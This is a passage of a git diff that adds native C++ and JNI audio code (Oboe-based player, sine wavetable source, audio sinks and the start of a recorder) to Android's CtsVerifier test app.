+StreamBase::Result OboePlayer::setupStream(int32_t channelCount, int32_t sampleRate, int32_t routeDeviceId) {
+ __android_log_print(ANDROID_LOG_INFO, TAG, "setupStream()");
+
+ oboe::Result result = oboe::Result::ErrorInternal;
+ if (mAudioStream != nullptr) {
+ return ERROR_INVALID_STATE;
+ } else {
+ std::lock_guard<std::mutex> lock(mStreamLock);
+
+ mChannelCount = channelCount;
+ mSampleRate = sampleRate;
+ mRouteDeviceId = routeDeviceId;
+
+ // Create an audio stream
+ AudioStreamBuilder builder;
+ builder.setChannelCount(mChannelCount);
+ builder.setSampleRate(mSampleRate);
+ builder.setCallback(this);
+ builder.setPerformanceMode(PerformanceMode::LowLatency);
+ builder.setSharingMode(SharingMode::Exclusive);
+ builder.setSampleRateConversionQuality(SampleRateConversionQuality::None);
+ builder.setDirection(Direction::Output);
+ switch (mSubtype) {
+ case SUB_TYPE_OBOE_AAUDIO:
+ builder.setAudioApi(AudioApi::AAudio);
+ break;
+
+ case SUB_TYPE_OBOE_OPENSL_ES:
+ builder.setAudioApi(AudioApi::OpenSLES);
+ break;
+
+ default:
+ return ERROR_INVALID_STATE;
+ }
+
+ if (mRouteDeviceId != ROUTING_DEVICE_NONE) {
+ builder.setDeviceId(mRouteDeviceId);
+ }
+
+ mAudioSource->init(getNumBufferFrames() , mChannelCount);
+
+ result = builder.openStream(mAudioStream);
+ if (result != oboe::Result::OK){
+ __android_log_print(
+ ANDROID_LOG_ERROR,
+ TAG,
+ "openStream failed. Error: %s", convertToText(result));
+ } else {
+ // Reduce stream latency by setting the buffer size to a multiple of the burst size
+ // Note: this will fail with ErrorUnimplemented if we are using a callback with OpenSL ES
+ // See oboe::AudioStreamBuffered::setBufferSizeInFrames
+ // This doesn't affect the success of opening the stream.
+ int32_t desiredSize = mAudioStream->getFramesPerBurst() * kBufferSizeInBursts;
+ mAudioStream->setBufferSizeInFrames(desiredSize);
+ }
+ }
+
+ return OboeErrorToMegaAudioError(result);
+}
+
+//
+// JNI functions
+//
+#include <jni.h>
+
+#include <android/log.h>
+
+extern "C" {
+JNIEXPORT JNICALL jlong
+Java_org_hyphonate_megaaudio_player_OboePlayer_allocNativePlayer(
+ JNIEnv *env, jobject thiz, jlong native_audio_source, jint playerSubtype) {
+ __android_log_print(ANDROID_LOG_INFO, TAG, "teardownStream()");
+
+ return (jlong)new OboePlayer((AudioSource*)native_audio_source, playerSubtype);
+}
+
+JNIEXPORT jint JNICALL Java_org_hyphonate_megaaudio_player_OboePlayer_setupStreamN(
+ JNIEnv *env, jobject thiz, jlong native_player,
+ jint channel_count, jint sample_rate, jint routeDeviceId) {
+ __android_log_print(ANDROID_LOG_INFO, TAG,
+ "Java_org_hyphonate_megaaudio_playerOboePlayer_startStreamN()");
+
+ OboePlayer* player = (OboePlayer*)native_player;
+ return player->setupStream(channel_count, sample_rate, routeDeviceId);
+}
+
+JNIEXPORT int JNICALL Java_org_hyphonate_megaaudio_player_OboePlayer_teardownStreamN(
+ JNIEnv *env, jobject thiz, jlong native_player) {
+ __android_log_print(ANDROID_LOG_INFO, TAG,
+ "Java_org_hyphonate_megaaudio_player_OboePlayer_teardownStreamN()");
+
+ OboePlayer* player = (OboePlayer*)native_player;
+ return player->teardownStream();
+}
+
+JNIEXPORT JNICALL jint Java_org_hyphonate_megaaudio_player_OboePlayer_startStreamN(
+ JNIEnv *env, jobject thiz, jlong native_player, jint playerSubtype) {
+ __android_log_print(ANDROID_LOG_INFO, TAG,
+ "Java_org_hyphonate_megaaudio_playerOboePlayer_startStreamN()");
+
+ return ((OboePlayer*)(native_player))->startStream();
+}
+
+JNIEXPORT JNICALL jint
+Java_org_hyphonate_megaaudio_player_OboePlayer_stopN(JNIEnv *env, jobject thiz, jlong native_player) {
+ __android_log_print(ANDROID_LOG_INFO, TAG,
+ "Java_org_hyphonate_megaaudio_player_OboePlayer_stopN()");
+
+ return ((OboePlayer*)(native_player))->stopStream();
+}
+
+JNIEXPORT jint JNICALL
+Java_org_hyphonate_megaaudio_player_OboePlayer_getBufferFrameCountN(JNIEnv *env, jobject thiz, jlong native_player) {
+ return ((OboePlayer*)(native_player))->getNumBufferFrames();
+}
+
+JNIEXPORT jint JNICALL Java_org_hyphonate_megaaudio_player_OboePlayer_getRoutedDeviceIdN(JNIEnv *env, jobject thiz, jlong native_player) {
+ return ((OboePlayer*)(native_player))->getRoutedDeviceId();
+}
+
+} // extern "C"
diff --git a/apps/CtsVerifier/jni/megaaudio/player/OboePlayer.h b/apps/CtsVerifier/jni/megaaudio/player/OboePlayer.h
new file mode 100644
index 0000000..e1bb598
--- /dev/null
+++ b/apps/CtsVerifier/jni/megaaudio/player/OboePlayer.h
@@ -0,0 +1,38 @@
+/*
+ * Copyright 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#ifndef MEGA_PLAYER_OBOEPLAYER_H
+#define MEGA_PLAYER_OBOEPLAYER_H
+
+#include <oboe/Oboe.h>
+
+#include "Player.h"
+
+class OboePlayer : public Player, oboe::AudioStreamCallback {
+public:
+ OboePlayer(AudioSource* source, int playerSubtype);
+ virtual ~OboePlayer() {}
+
+ // Inherited from oboe::AudioStreamCallback
+ virtual oboe::DataCallbackResult onAudioReady(oboe::AudioStream *oboeStream, void *audioData,
+ int32_t numFrames) override;
+ virtual void onErrorAfterClose(oboe::AudioStream *oboeStream, oboe::Result error) override;
+ virtual void onErrorBeforeClose(oboe::AudioStream * oboeStream, oboe::Result error) override;
+
+ virtual Result setupStream(int32_t channelCount, int32_t sampleRate, int32_t routeDeviceId) override;
+};
+
+#endif // MEGA_PLAYER_OBOEPLAYER_H
diff --git a/apps/CtsVerifier/jni/megaaudio/player/Player.h b/apps/CtsVerifier/jni/megaaudio/player/Player.h
new file mode 100644
index 0000000..be9ded3
--- /dev/null
+++ b/apps/CtsVerifier/jni/megaaudio/player/Player.h
@@ -0,0 +1,33 @@
+/*
+ * Copyright 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#ifndef MEGA_PLAYER_PLAYER_H
+#define MEGA_PLAYER_PLAYER_H
+
+#include <OboeStream.h>
+
+class AudioSource;
+
+class Player: public OboeStream {
+public:
+ Player(AudioSource* source, int32_t subtype) : OboeStream(subtype), mAudioSource(source) {}
+ virtual ~Player() {}
+
+protected:
+ std::shared_ptr<AudioSource> mAudioSource;
+};
+
+#endif // MEGA_PLAYER_PLAYER_H
diff --git a/apps/CtsVerifier/jni/megaaudio/player/SinAudioSource.cpp b/apps/CtsVerifier/jni/megaaudio/player/SinAudioSource.cpp
new file mode 100644
index 0000000..97bf4df
--- /dev/null
+++ b/apps/CtsVerifier/jni/megaaudio/player/SinAudioSource.cpp
@@ -0,0 +1,39 @@
+/*
+ * Copyright 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include "SinAudioSource.h"
+
+SinAudioSource::SinAudioSource() : WaveTableSource() {
+ float* waveTbl = new float[DEFAULT_WAVETABLE_LENGTH];
+ WaveTableSource::genSinWave(waveTbl, DEFAULT_WAVETABLE_LENGTH);
+
+ WaveTableSource::setWaveTable(waveTbl, DEFAULT_WAVETABLE_LENGTH);
+}
+
+//
+// JNI functions
+//
+#include <jni.h>
+
+#include <android/log.h>
+
+extern "C" {
+JNIEXPORT JNICALL jlong Java_org_hyphonate_megaaudio_player_sources_SinAudioSourceProvider_allocNativeSource(
+ JNIEnv *env, jobject thiz) {
+ return (jlong)new SinAudioSource();
+}
+
+} // extern "C"
diff --git a/apps/CtsVerifier/jni/megaaudio/player/SinAudioSource.h b/apps/CtsVerifier/jni/megaaudio/player/SinAudioSource.h
new file mode 100644
index 0000000..f4dc410
--- /dev/null
+++ b/apps/CtsVerifier/jni/megaaudio/player/SinAudioSource.h
@@ -0,0 +1,28 @@
+/*
+ * Copyright 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#ifndef MEGA_PLAYER_SINAUDIOSOURCE_H
+#define MEGA_PLAYER_SINAUDIOSOURCE_H
+
+#include "WaveTableSource.h"
+
+class SinAudioSource: public WaveTableSource {
+public:
+ SinAudioSource();
+};
+
+
+#endif // MEGA_PLAYER_SINAUDIOSOURCE_H
diff --git a/apps/CtsVerifier/jni/megaaudio/player/WaveTableSource.cpp b/apps/CtsVerifier/jni/megaaudio/player/WaveTableSource.cpp
new file mode 100644
index 0000000..30c38a4
--- /dev/null
+++ b/apps/CtsVerifier/jni/megaaudio/player/WaveTableSource.cpp
@@ -0,0 +1,89 @@
+/*
+ * Copyright 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#include <math.h>
+
+#include "WaveTableSource.h"
+
+/**
+ * Constructor. Sets up to play samples from the provided wave table.
+ * @param waveTbl Contains the samples defining a single cycle of the desired waveform.
+ */
+WaveTableSource::WaveTableSource() {
+ reset();
+}
+
+/**
+ * Calculates the "Nominal" frequency of the wave table.
+ */
+void WaveTableSource::calcFN() {
+ mFN = mSampleRate / (float)mNumWaveTableSamples;
+ mFNInverse = 1.0f / mFN;
+}
+
+int WaveTableSource::getNumChannels() {
+ return NUMCHANNELS_UNSPECIFIED;
+}
+
+int WaveTableSource::getEncoding() {
+ return ENCODING_FLOAT;
+}
+
+/**
+ * Fills the specified buffer with values generated from the wave table which will playback
+ * at the specified frequency.
+ *
+ * @param buffer The buffer to be filled.
+ * @param numFrames The number of frames of audio to provide.
+ * @param numChans The number of channels (in the buffer) required by the player.
+ * @return The number of samples generated. Since we are generating a continuous periodic
+ * signal, this will always be <code>numFrames</code>.
+ */
+int WaveTableSource::pull(float* buffer, int numFrames, int numChans) {
+ float phaseIncr = mFreq * mFNInverse;
+ int outIndex = 0;
+ for (int frameIndex = 0; frameIndex < numFrames; frameIndex++) {
+ // 'mod' back into the waveTable
+ while (mSrcPhase >= (float)mNumWaveTableSamples) {
+ mSrcPhase -= (float)mNumWaveTableSamples;
+ }
+
+ // linear-interpolate
+ int srcIndex = (int)mSrcPhase;
+ float delta = mSrcPhase - (float)srcIndex;
+ float s0 = mWaveTable[srcIndex];
+ float s1 = mWaveTable[srcIndex + 1];
+ float value = s0 + ((s1 - s0) * delta);
+
+ // Put the same value in all channels.
+ for (int chanIndex = 0; chanIndex < numChans; chanIndex++) {
+ buffer[outIndex++] = value;
+ }
+
+ mSrcPhase += phaseIncr;
+ }
+
+ return numFrames;
+}
+
+/*
+ * Standard wavetable generators
+ */
+void WaveTableSource::genSinWave(float* buffer, int length) {
+ float incr = ((float)M_PI * 2.0f) / (float)(length - 1);
+ for(int index = 0; index < length; index++) {
+ buffer[index] = sinf(index * incr);
+ }
+}
diff --git a/apps/CtsVerifier/jni/megaaudio/player/WaveTableSource.h b/apps/CtsVerifier/jni/megaaudio/player/WaveTableSource.h
new file mode 100644
index 0000000..9c66e62
--- /dev/null
+++ b/apps/CtsVerifier/jni/megaaudio/player/WaveTableSource.h
@@ -0,0 +1,131 @@
+/*
+ * Copyright 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#ifndef MEGA_PLAYER_WAVETABLESOURCE_H
+#define MEGA_PLAYER_WAVETABLESOURCE_H
+
+#include <memory>
+
+#include "AudioSource.h"
+
+class WaveTableSource: public AudioSource {
+public:
+ /**
+ * Constructor. Sets up to play samples from the provided wave table.
+ * @param waveTbl Contains the samples defining a single cycle of the desired waveform.
+ */
+ WaveTableSource();
+
+ /**
+ * Sets up to play samples from the provided wave table.
+ * @param waveTbl Contains the samples defining a single cycle of the desired waveform.
+ * This wave table contains a redundant sample in the last slot (== first slot)
+ * to make the interpolation calculation simpler, so the logical length of
+ * the wave table is one less than the length of the array.
+ * NOTE: WaveTableSource DOES NOT take ownership of the wave table. The user of WaveTableSource
+ * is responsible for managing the lifetime of othe wave table.
+ */
+ void setWaveTable(float* waveTable, int length) {
+ mWaveTable = waveTable;
+ mNumWaveTableSamples = length - 1;
+
+ calcFN();
+ }
+
+ /**
+ * Sets the playback sample rate for which samples will be generated.
+ * @param sampleRate
+ */
+ void setSampleRate(float sampleRate) {
+ mSampleRate = sampleRate;
+ calcFN();
+ }
+
+ /**
+ * Set the frequency of the output signal.
+ * @param freq Signal frequency in Hz.
+ */
+ void setFreq(float freq) {
+ mFreq = freq;
+ }
+
+ /**
+ * Resets the playback position to the 1st sample.
+ */
+ void reset() override {
+ mSrcPhase = 0.0f;
+ }
+
+ virtual int getNumChannels() override;
+
+ virtual int getEncoding() override;
+
+ /**
+ * Fills the specified buffer with values generated from the wave table which will playback
+ * at the specified frequency.
+ *
+ * @param buffer The buffer to be filled.
+ * @param numFrames The number of frames of audio to provide.
+ * @param numChans The number of channels (in the buffer) required by the player.
+ * @return The number of samples generated. Since we are generating a continuous periodic
+ * signal, this will always be <code>numFrames</code>.
+ */
+ virtual int pull(float* buffer, int numFrames, int numChans) override;
+
+ /*
+ * Standard wavetable generators
+ */
+ static void genSinWave(float* buffer, int length);
+
+protected:
+ static const int DEFAULT_WAVETABLE_LENGTH = 2049;
+
+ /**
+ * Calculates the "Nominal" frequency of the wave table.
+ */
+ void calcFN();
+
+ /** The samples defining one cycle of the waveform to play */
+ //TODO - make this a shared_ptr
+ float* mWaveTable;
+
+ /** The number of samples in the wave table. Note that the wave table is presumed to contain
+ * an "extra" sample (a copy of the 1st sample) in order to simplify the interpolation
+ * calculation. Thus, this value will be 1 less than the length of mWaveTable.
+ */
+ int mNumWaveTableSamples;
+
+ /** The phase (offset within the wave table) of the next output sample.
+ * Note that this may (will) be a fractional value. Range 0.0 -> mNumWaveTableSamples.
+ */
+ float mSrcPhase;
+
+ /** The sample rate at which playback occurs */
+ float mSampleRate = 48000; // This seems likely, but can be changed
+
+ /** The frequency of the generated audio signal */
+ float mFreq = 1000; // Some reasonable default frequency
+
+ /** The "Nominal" frequency of the wavetable. i.e., the frequency that would be generated if
+ * each sample in the wave table was sent in turn to the output at the specified sample rate.
+ */
+ float mFN;
+
+ /** 1 / mFN. Calculated when mFN is set to avoid a division on each call to fill() */
+ float mFNInverse;
+};
+
+#endif // MEGA_PLAYER_WAVETABLESOURCE_H
diff --git a/apps/CtsVerifier/jni/megaaudio/recorder/AppCallbackAudioSink.cpp b/apps/CtsVerifier/jni/megaaudio/recorder/AppCallbackAudioSink.cpp
new file mode 100644
index 0000000..1f80091
--- /dev/null
+++ b/apps/CtsVerifier/jni/megaaudio/recorder/AppCallbackAudioSink.cpp
@@ -0,0 +1,107 @@
+/*
+ * Copyright 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#include <jni.h>
+
+#include <android/log.h>
+
+#include "AppCallbackAudioSink.h"
+
+static const char * const TAG = "AppCallbackAudioSink";
+
+AppCallbackAudioSink::AppCallbackAudioSink(JNIEnv *env, jobject callbackObj) {
+ jint rs = env->GetJavaVM(&mJVM);
+ mCallbackObj = env->NewGlobalRef(callbackObj);
+
+ jclass callbackClass = env->GetObjectClass(mCallbackObj);
+ mMIDonDataReady = env->GetMethodID(callbackClass, "onDataReady", "([FI)V");
+}
+
+void AppCallbackAudioSink::init(int numFrames, int numChannels) {
+ JNIEnv * env;
+ int getEnvStat = mJVM->GetEnv((void **)&env, JNI_VERSION_1_6);
+
+ if (getEnvStat == JNI_EDETACHED) {
+ int rs = mJVM->AttachCurrentThread(&env, NULL);
+ }
+
+ mAudioDataArrayLength = numChannels * numFrames;
+ mAudioDataArray = env->NewFloatArray(mAudioDataArrayLength);
+ mAudioDataArray = (jfloatArray)env->NewGlobalRef(mAudioDataArray);
+
+ if (getEnvStat == JNI_EDETACHED) {
+ mJVM->DetachCurrentThread();
+ }
+}
+
+void AppCallbackAudioSink::start() {
+}
+
+void AppCallbackAudioSink::stop() {
+ JNIEnv * env;
+ int getEnvStat = mJVM->GetEnv((void **)&env, JNI_VERSION_1_6);
+
+ if (getEnvStat == JNI_EDETACHED) {
+ int rs = mJVM->AttachCurrentThread(&env, NULL);
+ }
+
+ releaseJNIResources(env);
+
+ if (getEnvStat == JNI_EDETACHED) {
+ mJVM->DetachCurrentThread();
+ }
+}
+
+void AppCallbackAudioSink::push(float* audioData, int numFrames, int numChannels) {
+// __android_log_print(ANDROID_LOG_INFO, TAG, "push(numFrames:%d, numChannels:%d)",
+// numFrames, numChannels);
+
+ // Get the local JNI env
+ JNIEnv * env;
+ int getEnvStat = mJVM->GetEnv((void **)&env, JNI_VERSION_1_6);
+
+ if (getEnvStat == JNI_EDETACHED) {
+ int rs = mJVM->AttachCurrentThread(&env, NULL);
+ }
+
+ // put the float* into a jfloatarray
+ env->SetFloatArrayRegion(mAudioDataArray, 0, mAudioDataArrayLength, audioData);
+ env->CallVoidMethod(mCallbackObj, mMIDonDataReady, mAudioDataArray, numFrames);
+
+ if (getEnvStat == JNI_EDETACHED) {
+ mJVM->DetachCurrentThread();
+ }
+}
+
+void AppCallbackAudioSink::releaseJNIResources(JNIEnv *env) {
+ env->DeleteGlobalRef(mCallbackObj);
+}
+
+extern "C" {
+JNIEXPORT jlong JNICALL
+Java_org_hyphonate_megaaudio_recorder_sinks_AppCallbackAudioSinkProvider_allocOboeSinkN(
+ JNIEnv *env, jobject thiz, jobject callback_obj) {
+ AppCallbackAudioSink* sink = new AppCallbackAudioSink(env, callback_obj);
+ return (jlong)sink;
+}
+
+JNIEXPORT void JNICALL
+Java_org_hyphonate_megaaudio_recorder_sinks_AppCallbackAudioSinkProvider_releaseJNIResourcesN(
+ JNIEnv *env, jobject thiz, jlong oboe_sink) {
+ AppCallbackAudioSink* sink = (AppCallbackAudioSink*)oboe_sink;
+ sink->releaseJNIResources(env);
+}
+
+} // extern "C"
diff --git a/apps/CtsVerifier/jni/megaaudio/recorder/AppCallbackAudioSink.h b/apps/CtsVerifier/jni/megaaudio/recorder/AppCallbackAudioSink.h
new file mode 100644
index 0000000..fc4dac9
--- /dev/null
+++ b/apps/CtsVerifier/jni/megaaudio/recorder/AppCallbackAudioSink.h
@@ -0,0 +1,46 @@
+/*
+ * Copyright 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#ifndef SMOKEPLAYER_APPCALLBACKAUDIOSINK_H
+#define SMOKEPLAYER_APPCALLBACKAUDIOSINK_H
+
+#include <jni.h>
+
+#include "AudioSink.h"
+
+class AppCallbackAudioSink: public AudioSink {
+public:
+ AppCallbackAudioSink(JNIEnv *env, jobject callbackObj);
+
+ virtual void init(int numFrames, int numChannels) override;
+ virtual void start() override;
+ virtual void stop() override;
+
+ virtual void push(float* audioData, int numFrames, int numChannels) override;
+
+ void releaseJNIResources(JNIEnv *env);
+
+private:
+ // JNI Stuff
+ JavaVM* mJVM;
+ jobject mCallbackObj;
+ jmethodID mMIDonDataReady;
+
+ jfloatArray mAudioDataArray;
+ int mAudioDataArrayLength;
+};
+
+#endif //SMOKEPLAYER_APPCALLBACKAUDIOSINK_H
diff --git a/apps/CtsVerifier/jni/megaaudio/recorder/AudioSink.h b/apps/CtsVerifier/jni/megaaudio/recorder/AudioSink.h
new file mode 100644
index 0000000..1d764a9
--- /dev/null
+++ b/apps/CtsVerifier/jni/megaaudio/recorder/AudioSink.h
@@ -0,0 +1,31 @@
+/*
+ * Copyright 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#ifndef SMOKEPLAYER_AUDIOSINK_H
+#define SMOKEPLAYER_AUDIOSINK_H
+
+class AudioSink {
+public:
+ virtual ~AudioSink() {}
+
+ virtual void init(int numFrames, int numChannels) {}
+ virtual void start() {}
+ virtual void stop() {}
+
+ virtual void push(float* audioData, int numFrames, int numChannels) = 0;
+};
+
+#endif //SMOKEPLAYER_AUDIOSINK_H
diff --git a/apps/CtsVerifier/jni/megaaudio/recorder/DefaultAudioSink.cpp b/apps/CtsVerifier/jni/megaaudio/recorder/DefaultAudioSink.cpp
new file mode 100644
index 0000000..07d4325
--- /dev/null
+++ b/apps/CtsVerifier/jni/megaaudio/recorder/DefaultAudioSink.cpp
@@ -0,0 +1,32 @@
+/*
+ * Copyright 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#include <android/log.h>
+
+#include "DefaultAudioSink.h"
+
+static const char * const TAG = "DefaultAudioSink";
+
+void DefaultAudioSink::start() {
+
+}
+
+void DefaultAudioSink::stop() {
+
+}
+
+void DefaultAudioSink::push(float* audioData, int numChannels, int numFrames) {
+ __android_log_print(ANDROID_LOG_INFO, TAG, "process()");
+}
diff --git a/apps/CtsVerifier/jni/megaaudio/recorder/DefaultAudioSink.h b/apps/CtsVerifier/jni/megaaudio/recorder/DefaultAudioSink.h
new file mode 100644
index 0000000..a0e9ed4
--- /dev/null
+++ b/apps/CtsVerifier/jni/megaaudio/recorder/DefaultAudioSink.h
@@ -0,0 +1,29 @@
+/*
+ * Copyright 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#ifndef MEGA_RECORDER_DEFAULTAUDIOSINK_H
+#define MEGA_RECORDER_DEFAULTAUDIOSINK_H
+
+#include "AudioSink.h"
+
+class DefaultAudioSink: public AudioSink {
+ virtual void start();
+ virtual void stop();
+
+ virtual void push(float* audioData, int numChannels, int numFrames) ;
+};
+
+#endif // EGA_RECORDER_DEFAULTAUDIOSINK_H
diff --git a/apps/CtsVerifier/jni/megaaudio/recorder/NativeAudioSink.cpp b/apps/CtsVerifier/jni/megaaudio/recorder/NativeAudioSink.cpp
new file mode 100644
index 0000000..7de76c8
--- /dev/null
+++ b/apps/CtsVerifier/jni/megaaudio/recorder/NativeAudioSink.cpp
@@ -0,0 +1,62 @@
+/*
+ * Copyright 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include <jni.h>
+
+#include "AudioSink.h"
+
+//TODO - Probably wrap the JNI handling in a class with a pointer held in the Java Object
+// so as to support multiple instances... maybe.
+
+// JNI Stuff
+static float* sAudioBuffer;
+
+extern "C" {
+JNIEXPORT void JNICALL
+Java_org_hyphonate_megaaudio_recorder_NativeAudioSink_initN(JNIEnv * env , jobject thiz,
+ jlong native_sink_ptr , jint num_frames, jint num_chans ) {
+ sAudioBuffer = new float[num_frames * num_chans];
+
+ // this is in the wrong place, or rather we need an init() method of AudioSink to call.
+ AudioSink* sink = (AudioSink*)native_sink_ptr;
+ sink->init(num_frames, num_chans);
+}
+
+JNIEXPORT void JNICALL
+Java_org_hyphonate_megaaudio_recorder_NativeAudioSink_startN(JNIEnv *env, jobject thiz, jlong native_sink_ptr) {
+ AudioSink* sink = (AudioSink*)native_sink_ptr;
+ sink->start();
+}
+
+JNIEXPORT void JNICALL
+Java_org_hyphonate_megaaudio_recorder_NativeAudioSink_stopN(JNIEnv *env, jobject thiz, jlong native_sink_ptr) {
+ AudioSink* sink = (AudioSink*)native_sink_ptr;
+ sink->stop();
+}
+
+JNIEXPORT void JNICALL
+Java_org_hyphonate_megaaudio_recorder_NativeAudioSink_pushN(
+ JNIEnv *env, jobject thiz, jlong native_sink_ptr,
+ jfloatArray audio_data, jint num_frames, jint num_chans) {
+ AudioSink * audioSink = (AudioSink*)native_sink_ptr;
+
+ // convert to float[]
+ float* nativeAudioData = env->GetFloatArrayElements(audio_data, 0);
+
+ audioSink->push(nativeAudioData, num_frames, num_chans);
+}
+
+} // extern "C"
diff --git a/apps/CtsVerifier/jni/megaaudio/recorder/OboeRecorder.cpp b/apps/CtsVerifier/jni/megaaudio/recorder/OboeRecorder.cpp
new file mode 100644
index 0000000..8d249f1
--- /dev/null
+++ b/apps/CtsVerifier/jni/megaaudio/recorder/OboeRecorder.cpp
@@ -0,0 +1,175 @@
+/*
+ * Copyright 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#include <android/log.h>
+
+#include "OboeRecorder.h"
+
+#include "AudioSink.h"
+
+static const char * const TAG = "OboeRecorder(native)";
+
+using namespace oboe;
+
+constexpr int32_t kBufferSizeInBursts = 2; // Use 2 bursts as the buffer size (double buffer)
+
+OboeRecorder::OboeRecorder(AudioSink* sink, int32_t subtype)
+ : Recorder(sink, subtype),
+ mInputPreset(-1)
+{}
+
+//
+// State
+//
+StreamBase::Result OboeRecorder::setupStream(
+ int32_t channelCount, int32_t sampleRate, int32_t routeDeviceId)
+{
+ //TODO much of this could be pulled up into OboeStream.
+
+ std::lock_guard<std::mutex> lock(mStreamLock);
+
+ oboe::Result result = oboe::Result::ErrorInternal;
+ if (mAudioStream != nullptr) {
+ return ERROR_INVALID_STATE;
+ } else {
+ mChannelCount = channelCount;
+ mSampleRate = sampleRate;
+ mRouteDeviceId = routeDeviceId;
+
+ // Create an audio stream
